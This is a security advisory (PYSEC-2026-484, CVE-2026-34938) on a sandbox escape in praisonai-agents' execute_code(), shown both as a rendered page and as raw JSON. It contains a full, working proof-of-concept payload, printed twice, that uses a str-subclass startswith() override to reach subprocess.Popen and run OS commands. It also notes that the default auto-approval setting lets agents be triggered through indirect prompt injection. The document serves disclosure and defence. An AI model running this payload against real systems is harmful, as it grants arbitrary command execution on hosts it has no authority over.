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PYSEC-2026-484

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
VLAI
Details

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink) ```python

source -- _safe_getattr accepts any str subclass

def safe_getattr(obj, name, *default): if isinstance(name, str) and name.startswith(''): # isinstance passes for subclasses raise AttributeError(...)

hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword

FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

sink -- Popen reached via subclasses walk

r = Popen(['id'], stdout=PIPE, stderr=PIPE)


### PoC
```python

 from praisonaiagents.tools.python_tools import execute_code

payload = """
 t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Impacted products
Name purl
praisonaiagents pkg:pypi/praisonaiagents
Aliases
To clipboard 

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          "events": [
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  ],
  "aliases": [
    "CVE-2026-34938",
    "GHSA-6vh2-h83c-9294"
  ],
  "details": "### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -\u003e `python_tools.py:22` (guard bypass) -\u003e `python_tools.py:161` (sink)\n ```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n    if isinstance(name, str) and name.startswith(\u0027_\u0027):  # isinstance passes for subclasses\n        raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type(\u0027FakeStr\u0027, (str,), {\u0027startswith\u0027: lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen([\u0027id\u0027], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\n from praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\n t = type\nFakeStr = t(\u0027FakeStr\u0027, (str,), {\u0027startswith\u0027: lambda self, *a: False})\n\nmro_attr  = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027m\u0027,\u0027r\u0027,\u0027o\u0027,\u0027_\u0027,\u0027_\u0027]))\nsubs_attr = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027s\u0027,\u0027u\u0027,\u0027b\u0027,\u0027c\u0027,\u0027l\u0027,\u0027a\u0027,\u0027s\u0027,\u0027s\u0027,\u0027e\u0027,\u0027s\u0027,\u0027_\u0027,\u0027_\u0027]))\nmod_attr  = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027m\u0027,\u0027o\u0027,\u0027d\u0027,\u0027u\u0027,\u0027l\u0027,\u0027e\u0027,\u0027_\u0027,\u0027_\u0027]))\nname_attr = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027n\u0027,\u0027a\u0027,\u0027m\u0027,\u0027e\u0027,\u0027_\u0027,\u0027_\u0027]))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n    try:\n        m = getattr(cls, mod_attr, \u0027\u0027)\n        n = getattr(cls, name_attr, \u0027\u0027)\n        if m == \u0027subprocess\u0027 and n == \u0027Popen\u0027:\n            r = cls([\u0027id\u0027], stdout=PIPE, stderr=PIPE)\n            out, err = r.communicate()\n            print(\u0027RCE:\u0027, out.decode())\n            break\n    except Exception as e:\n        print(\u0027ERR:\u0027, e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\n Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.",
  "id": "PYSEC-2026-484",
  "modified": "2026-07-01T20:23:01.886289Z",
  "published": "2026-06-29T11:50:48.390200Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34938"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonaiagents"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6vh2-h83c-9294"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code"
}



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